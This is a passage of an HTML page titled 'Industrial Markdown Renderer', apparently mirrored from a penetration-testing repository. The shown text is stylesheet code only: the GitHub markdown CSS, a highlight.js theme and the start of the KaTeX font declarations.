mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-08-17 01:25:22 +08:00
1094 lines
150 KiB
HTML
1094 lines
150 KiB
HTML
<!DOCTYPE html>
|
||
<html lang="zh-CN"><head>
|
||
<meta charset="UTF-8">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||
<title>Industrial Markdown Renderer (Graphviz Stable + Mermaid)</title>
|
||
|
||
<style>/**
|
||
* Minified by jsDelivr using clean-css v5.3.3.
|
||
* Original file: /npm/github-markdown-css@5.9.0/github-markdown.css
|
||
*
|
||
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
|
||
*/
|
||
.markdown-body{--base-size-16:1rem;--base-size-24:1.5rem;--base-size-4:0.25rem;--base-size-40:2.5rem;--base-size-8:0.5rem;--base-text-weight-medium:500;--base-text-weight-normal:400;--base-text-weight-semibold:600;--fontStack-monospace:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;--fontStack-sansSerif:-apple-system,BlinkMacSystemFont,"Segoe UI","Noto Sans",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";--fgColor-accent:Highlight}@media (prefers-color-scheme:dark){.markdown-body,[data-theme=dark]{color-scheme:dark;--fgColor-accent:#4493f8;--bgColor-attention-muted:#bb800926;--bgColor-default:#0d1117;--bgColor-muted:#151b23;--bgColor-neutral-muted:#656c7633;--borderColor-accent-emphasis:#1f6feb;--borderColor-attention-emphasis:#9e6a03;--borderColor-danger-emphasis:#da3633;--borderColor-default:#3d444d;--borderColor-done-emphasis:#8957e5;--borderColor-success-emphasis:#238636;--color-prettylights-syntax-brackethighlighter-angle:#9198a1;--color-prettylights-syntax-brackethighlighter-unmatched:#f85149;--color-prettylights-syntax-carriage-return-bg:#b62324;--color-prettylights-syntax-carriage-return-text:#f0f6fc;--color-prettylights-syntax-comment:#9198a1;--color-prettylights-syntax-constant:#79c0ff;--color-prettylights-syntax-constant-other-reference-link:#a5d6ff;--color-prettylights-syntax-entity:#d2a8ff;--color-prettylights-syntax-entity-tag:#7ee787;--color-prettylights-syntax-keyword:#ff7b72;--color-prettylights-syntax-markup-bold:#f0f6fc;--color-prettylights-syntax-markup-changed-bg:#5a1e02;--color-prettylights-syntax-markup-changed-text:#ffdfb6;--color-prettylights-syntax-markup-deleted-bg:#67060c;--color-prettylights-syntax-markup-deleted-text:#ffdcd7;--color-prettylights-syntax-markup-heading:#1f6feb;--color-prettylights-syntax-markup-ignored-bg:#1158c7;--color-prettylights-syntax-markup-ignored-text:#f0f6fc;--color-prettylights-syntax-markup-inserted-bg:#033a16;--color-prettylights-syntax-markup-inserted-text:#aff5b4;--color-prettylights-syntax-markup-italic:#f0f6fc;--color-prettylights-syntax-markup-list:#f2cc60;--color-prettylights-syntax-meta-diff-range:#d2a8ff;--color-prettylights-syntax-storage-modifier-import:#f0f6fc;--color-prettylights-syntax-string:#a5d6ff;--color-prettylights-syntax-string-regexp:#7ee787;--color-prettylights-syntax-sublimelinter-gutter-mark:#3d444d;--color-prettylights-syntax-variable:#ffa657;--fgColor-attention:#d29922;--fgColor-danger:#f85149;--fgColor-default:#f0f6fc;--fgColor-done:#ab7df8;--fgColor-muted:#9198a1;--fgColor-success:#3fb950;--borderColor-muted:#3d444db3;--color-prettylights-syntax-invalid-illegal-bg:var(--bgColor-danger-muted);--color-prettylights-syntax-invalid-illegal-text:var(--fgColor-danger);--focus-outlineColor:var(--borderColor-accent-emphasis);--borderColor-neutral-muted:var(--borderColor-muted)}}@media (prefers-color-scheme:light){.markdown-body,[data-theme=light]{color-scheme:light;--fgColor-danger:#d1242f;--bgColor-attention-muted:#fff8c5;--bgColor-muted:#f6f8fa;--bgColor-neutral-muted:#818b981f;--borderColor-accent-emphasis:#0969da;--borderColor-attention-emphasis:#9a6700;--borderColor-danger-emphasis:#cf222e;--borderColor-default:#d1d9e0;--borderColor-done-emphasis:#8250df;--borderColor-success-emphasis:#1a7f37;--color-prettylights-syntax-brackethighlighter-angle:#59636e;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-comment:#59636e;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-prettylights-syntax-entity:#6639ba;--color-prettylights-syntax-entity-tag:#0550ae;--color-prettylights-syntax-invalid-illegal-text:var(--fgColor-danger);--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-markup-ignored-text:#d1d9e0;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-sublimelinter-gutter-mark:#818b98;--color-prettylights-syntax-variable:#953800;--fgColor-accent:#0969da;--fgColor-attention:#9a6700;--fgColor-done:#8250df;--fgColor-muted:#59636e;--fgColor-success:#1a7f37;--bgColor-default:#ffffff;--borderColor-muted:#d1d9e0b3;--color-prettylights-syntax-invalid-illegal-bg:var(--bgColor-danger-muted);--color-prettylights-syntax-markup-bold:#1f2328;--color-prettylights-syntax-markup-italic:#1f2328;--color-prettylights-syntax-storage-modifier-import:#1f2328;--fgColor-default:#1f2328;--focus-outlineColor:var(--borderColor-accent-emphasis);--borderColor-neutral-muted:var(--borderColor-muted)}}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;font-weight:var(--base-text-weight-normal,400);color:var(--fgColor-default);background-color:var(--bgColor-default);font-family:var(--fontStack-sansSerif, -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji");font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body a{text-decoration:underline;text-underline-offset:.2rem}.markdown-body .octicon{display:inline-block;fill:currentColor;vertical-align:text-bottom}.markdown-body h1:hover .anchor .octicon-link:before,.markdown-body h2:hover .anchor .octicon-link:before,.markdown-body h3:hover .anchor .octicon-link:before,.markdown-body h4:hover .anchor .octicon-link:before,.markdown-body h5:hover .anchor .octicon-link:before,.markdown-body h6:hover .anchor .octicon-link:before{width:16px;height:16px;content:' ';display:inline-block;background-color:currentColor;-webkit-mask-image:url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' version='1.1' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg>");mask-image:url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' version='1.1' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg>")}.markdown-body details,.markdown-body figcaption,.markdown-body figure{display:block}.markdown-body summary{display:list-item}.markdown-body [hidden]{display:none!important}.markdown-body a{background-color:rgba(0,0,0,0);color:var(--fgColor-accent);text-decoration:none}.markdown-body abbr[title]{border-bottom:none;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}.markdown-body b,.markdown-body strong{font-weight:var(--base-text-weight-semibold,600)}.markdown-body dfn{font-style:italic}.markdown-body h1{margin:.67em 0;font-weight:var(--base-text-weight-semibold,600);padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--borderColor-muted)}.markdown-body mark{background-color:var(--bgColor-attention-muted);color:var(--fgColor-default)}.markdown-body small{font-size:90%}.markdown-body sub,.markdown-body sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}.markdown-body sub{bottom:-.25em}.markdown-body sup{top:-.5em}.markdown-body img{border-style:none;max-width:100%;box-sizing:content-box}.markdown-body code,.markdown-body kbd,.markdown-body pre,.markdown-body samp{font-family:monospace;font-size:1em}.markdown-body figure{margin:1em var(--base-size-40)}.markdown-body hr{box-sizing:content-box;overflow:hidden;background:rgba(0,0,0,0);border-bottom:1px solid var(--borderColor-muted);height:.25em;padding:0;margin:var(--base-size-24) 0;background-color:var(--borderColor-default);border:0}.markdown-body input{font:inherit;margin:0;overflow:visible;font-family:inherit;font-size:inherit;line-height:inherit}.markdown-body [type=button],.markdown-body [type=reset],.markdown-body [type=submit]{-webkit-appearance:button;appearance:button}.markdown-body [type=checkbox],.markdown-body [type=radio]{box-sizing:border-box;padding:0}.markdown-body [type=number]::-webkit-inner-spin-button,.markdown-body [type=number]::-webkit-outer-spin-button{height:auto}.markdown-body [type=search]::-webkit-search-cancel-button,.markdown-body [type=search]::-webkit-search-decoration{-webkit-appearance:none;appearance:none}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;appearance:button;font:inherit}.markdown-body a:hover{text-decoration:underline}.markdown-body ::placeholder{color:var(--fgColor-muted);opacity:1}.markdown-body hr::before{display:table;content:""}.markdown-body hr::after{display:table;clear:both;content:""}.markdown-body table{border-spacing:0;border-collapse:collapse;display:block;width:max-content;max-width:100%;overflow:auto;font-variant:tabular-nums}.markdown-body td,.markdown-body th{padding:0}.markdown-body details summary{cursor:pointer}.markdown-body [role=button]:focus,.markdown-body a:focus,.markdown-body input[type=checkbox]:focus,.markdown-body input[type=radio]:focus{outline:2px solid var(--focus-outlineColor);outline-offset:-2px;box-shadow:none}.markdown-body [role=button]:focus:not(:focus-visible),.markdown-body a:focus:not(:focus-visible),.markdown-body input[type=checkbox]:focus:not(:focus-visible),.markdown-body input[type=radio]:focus:not(:focus-visible){outline:solid 1px rgba(0,0,0,0)}.markdown-body [role=button]:focus-visible,.markdown-body a:focus-visible,.markdown-body input[type=checkbox]:focus-visible,.markdown-body input[type=radio]:focus-visible{outline:2px solid var(--focus-outlineColor);outline-offset:-2px;box-shadow:none}.markdown-body a:not([class]):focus,.markdown-body a:not([class]):focus-visible,.markdown-body input[type=checkbox]:focus,.markdown-body input[type=checkbox]:focus-visible,.markdown-body input[type=radio]:focus,.markdown-body input[type=radio]:focus-visible{outline-offset:0}.markdown-body kbd{display:inline-block;padding:var(--base-size-4);font:11px var(--fontStack-monospace, ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace);line-height:10px;color:var(--fgColor-default);vertical-align:middle;background-color:var(--bgColor-muted);border:solid 1px var(--borderColor-neutral-muted);border-bottom-color:var(--borderColor-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--borderColor-neutral-muted)}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:var(--base-size-24);margin-bottom:var(--base-size-16);font-weight:var(--base-text-weight-semibold,600);line-height:1.25}.markdown-body h2{font-weight:var(--base-text-weight-semibold,600);padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--borderColor-muted)}.markdown-body h3{font-weight:var(--base-text-weight-semibold,600);font-size:1.25em}.markdown-body h4{font-weight:var(--base-text-weight-semibold,600);font-size:1em}.markdown-body h5{font-weight:var(--base-text-weight-semibold,600);font-size:.875em}.markdown-body h6{font-weight:var(--base-text-weight-semibold,600);font-size:.85em;color:var(--fgColor-muted)}.markdown-body p{margin-top:0;margin-bottom:10px}.markdown-body blockquote{margin:0;padding:0 1em;color:var(--fgColor-muted);border-left:.25em solid var(--borderColor-default)}.markdown-body ol,.markdown-body ul{margin-top:0;margin-bottom:0;padding-left:2em}.markdown-body ol ol,.markdown-body ul ol{list-style-type:lower-roman}.markdown-body ol ol ol,.markdown-body ol ul ol,.markdown-body ul ol ol,.markdown-body ul ul ol{list-style-type:lower-alpha}.markdown-body dd{margin-left:0}.markdown-body code,.markdown-body samp,.markdown-body tt{font-family:var(--fontStack-monospace, ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace);font-size:12px}.markdown-body pre{margin-top:0;margin-bottom:0;font-family:var(--fontStack-monospace, ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace);font-size:12px;word-wrap:normal}.markdown-body .octicon{display:inline-block;overflow:visible!important;vertical-align:text-bottom;fill:currentColor}.markdown-body input::-webkit-inner-spin-button,.markdown-body input::-webkit-outer-spin-button{margin:0;appearance:none}.markdown-body .mr-2{margin-right:var(--base-size-8,8px)!important}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>:first-child{margin-top:0!important}.markdown-body>:last-child{margin-bottom:0!important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--fgColor-danger)}.markdown-body .anchor{float:left;padding-right:var(--base-size-4);margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:0}.markdown-body blockquote,.markdown-body details,.markdown-body dl,.markdown-body ol,.markdown-body p,.markdown-body pre,.markdown-body table,.markdown-body ul{margin-top:0;margin-bottom:var(--base-size-16)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--fgColor-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 code,.markdown-body h1 tt,.markdown-body h2 code,.markdown-body h2 tt,.markdown-body h3 code,.markdown-body h3 tt,.markdown-body h4 code,.markdown-body h4 tt,.markdown-body h5 code,.markdown-body h5 tt,.markdown-body h6 code,.markdown-body h6 tt{padding:0 .2em;font-size:inherit}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ol.no-list,.markdown-body ul.no-list{padding:0;list-style-type:none}.markdown-body ol[type="a s"]{list-style-type:lower-alpha}.markdown-body ol[type="A s"]{list-style-type:upper-alpha}.markdown-body ol[type="i s"]{list-style-type:lower-roman}.markdown-body ol[type="I s"]{list-style-type:upper-roman}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ol ol,.markdown-body ol ul,.markdown-body ul ol,.markdown-body ul ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:var(--base-size-16)}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:var(--base-size-16);font-size:1em;font-style:italic;font-weight:var(--base-text-weight-semibold,600)}.markdown-body dl dd{padding:0 var(--base-size-16);margin-bottom:var(--base-size-16)}.markdown-body table th{font-weight:var(--base-text-weight-semibold,600)}.markdown-body table td,.markdown-body table th{padding:6px 13px;border:1px solid var(--borderColor-default)}.markdown-body table td>:last-child{margin-bottom:0}.markdown-body table tr{background-color:var(--bgColor-default);border-top:1px solid var(--borderColor-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--bgColor-muted)}.markdown-body table img{background-color:rgba(0,0,0,0)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:rgba(0,0,0,0)}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--borderColor-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--fgColor-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;white-space:break-spaces;background-color:var(--bgColor-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:rgba(0,0,0,0);border:0}.markdown-body .highlight{margin-bottom:var(--base-size-16)}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:var(--base-size-16);overflow:auto;font-size:85%;line-height:1.45;color:var(--fgColor-default);background-color:var(--bgColor-muted);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:rgba(0,0,0,0);border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px var(--base-size-8) 9px;text-align:right;background:var(--bgColor-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:var(--base-text-weight-semibold,600);background:var(--bgColor-muted);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--fgColor-muted);border-top:1px solid var(--borderColor-default)}.markdown-body .footnotes ol{padding-left:var(--base-size-16)}.markdown-body .footnotes ol ul{display:inline-block;padding-left:var(--base-size-16);margin-top:var(--base-size-16)}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:calc(var(--base-size-8)*-1);right:calc(var(--base-size-8)*-1);bottom:calc(var(--base-size-8)*-1);left:calc(var(--base-size-24)*-1);pointer-events:none;content:"";border:2px solid var(--borderColor-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--fgColor-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.markdown-body .pl-c{color:var(--color-prettylights-syntax-comment)}.markdown-body .pl-c1,.markdown-body .pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.markdown-body .pl-e,.markdown-body .pl-en{color:var(--color-prettylights-syntax-entity)}.markdown-body .pl-s .pl-s1,.markdown-body .pl-smi{color:var(--color-prettylights-syntax-storage-modifier-import)}.markdown-body .pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.markdown-body .pl-k{color:var(--color-prettylights-syntax-keyword)}.markdown-body .pl-pds,.markdown-body .pl-s,.markdown-body .pl-s .pl-pse .pl-s1,.markdown-body .pl-sr,.markdown-body .pl-sr .pl-cce,.markdown-body .pl-sr .pl-sra,.markdown-body .pl-sr .pl-sre{color:var(--color-prettylights-syntax-string)}.markdown-body .pl-smw,.markdown-body .pl-v{color:var(--color-prettylights-syntax-variable)}.markdown-body .pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.markdown-body .pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.markdown-body .pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.markdown-body .pl-sr .pl-cce{font-weight:700;color:var(--color-prettylights-syntax-string-regexp)}.markdown-body .pl-ml{color:var(--color-prettylights-syntax-markup-list)}.markdown-body .pl-mh,.markdown-body .pl-mh .pl-en,.markdown-body .pl-ms{font-weight:700;color:var(--color-prettylights-syntax-markup-heading)}.markdown-body .pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.markdown-body .pl-mb{font-weight:700;color:var(--color-prettylights-syntax-markup-bold)}.markdown-body .pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.markdown-body .pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.markdown-body .pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.markdown-body .pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.markdown-body .pl-mdr{font-weight:700;color:var(--color-prettylights-syntax-meta-diff-range)}.markdown-body .pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.markdown-body .pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.markdown-body .pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.markdown-body [role=button]:focus:not(:focus-visible),.markdown-body [role=tabpanel][tabindex="0"]:focus:not(:focus-visible),.markdown-body a:focus:not(:focus-visible),.markdown-body button:focus:not(:focus-visible),.markdown-body summary:focus:not(:focus-visible){outline:0;box-shadow:none}.markdown-body [tabindex="0"]:focus:not(:focus-visible),.markdown-body details-dialog:focus:not(:focus-visible){outline:0}.markdown-body g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal!important;font-weight:var(--base-text-weight-normal,400);line-height:1;vertical-align:-.075em}.markdown-body g-emoji img{width:1em;height:1em}.markdown-body a:has(>p,>div,>pre,>blockquote){display:block}.markdown-body a:has(>p,>div,>pre,>blockquote):not(:has(.snippet-clipboard-content,>pre)){width:fit-content}.markdown-body a:has(>p,>div,>pre,>blockquote):has(.snippet-clipboard-content,>pre):focus-visible{outline:2px solid var(--focus-outlineColor);outline-offset:2px}.markdown-body .task-list-item{list-style-type:none}.markdown-body .task-list-item label{font-weight:var(--base-text-weight-normal,400)}.markdown-body .task-list-item.enabled label{cursor:pointer}.markdown-body .task-list-item+.task-list-item{margin-top:var(--base-size-4)}.markdown-body .task-list-item .handle{display:none}.markdown-body .task-list-item-checkbox{margin:0 .2em .25em -1.4em;vertical-align:middle}.markdown-body ul:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.markdown-body ol:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.markdown-body .contains-task-list:focus-within .task-list-item-convert-container,.markdown-body .contains-task-list:hover .task-list-item-convert-container{display:block;width:auto;height:24px;overflow:visible;clip-path:none}.markdown-body ::-webkit-calendar-picker-indicator{filter:invert(50%)}.markdown-body .markdown-alert{padding:var(--base-size-8) var(--base-size-16);margin-bottom:var(--base-size-16);color:inherit;border-left:.25em solid var(--borderColor-default)}.markdown-body .markdown-alert>:first-child{margin-top:0}.markdown-body .markdown-alert>:last-child{margin-bottom:0}.markdown-body .markdown-alert .markdown-alert-title{display:flex;font-weight:var(--base-text-weight-medium,500);align-items:center;line-height:1}.markdown-body .markdown-alert.markdown-alert-note{border-left-color:var(--borderColor-accent-emphasis)}.markdown-body .markdown-alert.markdown-alert-note .markdown-alert-title{color:var(--fgColor-accent)}.markdown-body .markdown-alert.markdown-alert-important{border-left-color:var(--borderColor-done-emphasis)}.markdown-body .markdown-alert.markdown-alert-important .markdown-alert-title{color:var(--fgColor-done)}.markdown-body .markdown-alert.markdown-alert-warning{border-left-color:var(--borderColor-attention-emphasis)}.markdown-body .markdown-alert.markdown-alert-warning .markdown-alert-title{color:var(--fgColor-attention)}.markdown-body .markdown-alert.markdown-alert-tip{border-left-color:var(--borderColor-success-emphasis)}.markdown-body .markdown-alert.markdown-alert-tip .markdown-alert-title{color:var(--fgColor-success)}.markdown-body .markdown-alert.markdown-alert-caution{border-left-color:var(--borderColor-danger-emphasis)}.markdown-body .markdown-alert.markdown-alert-caution .markdown-alert-title{color:var(--fgColor-danger)}.markdown-body>:first-child>.heading-element:first-child{margin-top:0!important}.markdown-body .highlight pre:has(+.zeroclipboard-container){min-height:52px}
|
||
/*# sourceMappingURL=/sm/6f7ce421a8e8342b3864c1fcf5dd0fc23383714149414f38b524ed3caf05e715.map */</style>
|
||
<style>pre code.hljs{display:block;overflow-x:auto;padding:1em}code.hljs{padding:3px 5px}/*!
|
||
Theme: GitHub
|
||
Description: Light theme as seen on github.com
|
||
Author: github.com
|
||
Maintainer: @Hirse
|
||
Updated: 2021-05-15
|
||
|
||
Outdated base version: https://github.com/primer/github-syntax-light
|
||
Current colors taken from GitHub's CSS
|
||
*/.hljs{color:#24292e;background:#fff}.hljs-doctag,.hljs-keyword,.hljs-meta .hljs-keyword,.hljs-template-tag,.hljs-template-variable,.hljs-type,.hljs-variable.language_{color:#d73a49}.hljs-title,.hljs-title.class_,.hljs-title.class_.inherited__,.hljs-title.function_{color:#6f42c1}.hljs-attr,.hljs-attribute,.hljs-literal,.hljs-meta,.hljs-number,.hljs-operator,.hljs-selector-attr,.hljs-selector-class,.hljs-selector-id,.hljs-variable{color:#005cc5}.hljs-meta .hljs-string,.hljs-regexp,.hljs-string{color:#032f62}.hljs-built_in,.hljs-symbol{color:#e36209}.hljs-code,.hljs-comment,.hljs-formula{color:#6a737d}.hljs-name,.hljs-quote,.hljs-selector-pseudo,.hljs-selector-tag{color:#22863a}.hljs-subst{color:#24292e}.hljs-section{color:#005cc5;font-weight:700}.hljs-bullet{color:#735c0f}.hljs-emphasis{color:#24292e;font-style:italic}.hljs-strong{color:#24292e;font-weight:700}.hljs-addition{color:#22863a;background-color:#f0fff4}.hljs-deletion{color:#b31d28;background-color:#ffeef0}</style>
|
||
<style>@font-face{font-family:KaTeX_AMS;font-style:normal;font-weight:400;src:url(fonts/KaTeX_AMS-Regular.woff2) format("woff2"),url(fonts/KaTeX_AMS-Regular.woff) format("woff"),url(fonts/KaTeX_AMS-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Caligraphic;font-style:normal;font-weight:700;src:url(fonts/KaTeX_Caligraphic-Bold.woff2) format("woff2"),url(fonts/KaTeX_Caligraphic-Bold.woff) format("woff"),url(fonts/KaTeX_Caligraphic-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_Caligraphic;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Caligraphic-Regular.woff2) format("woff2"),url(fonts/KaTeX_Caligraphic-Regular.woff) format("woff"),url(fonts/KaTeX_Caligraphic-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Fraktur;font-style:normal;font-weight:700;src:url(fonts/KaTeX_Fraktur-Bold.woff2) format("woff2"),url(fonts/KaTeX_Fraktur-Bold.woff) format("woff"),url(fonts/KaTeX_Fraktur-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_Fraktur;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Fraktur-Regular.woff2) format("woff2"),url(fonts/KaTeX_Fraktur-Regular.woff) format("woff"),url(fonts/KaTeX_Fraktur-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:normal;font-weight:700;src:url(fonts/KaTeX_Main-Bold.woff2) format("woff2"),url(fonts/KaTeX_Main-Bold.woff) format("woff"),url(fonts/KaTeX_Main-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:italic;font-weight:700;src:url(fonts/KaTeX_Main-BoldItalic.woff2) format("woff2"),url(fonts/KaTeX_Main-BoldItalic.woff) format("woff"),url(fonts/KaTeX_Main-BoldItalic.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:italic;font-weight:400;src:url(fonts/KaTeX_Main-Italic.woff2) format("woff2"),url(fonts/KaTeX_Main-Italic.woff) 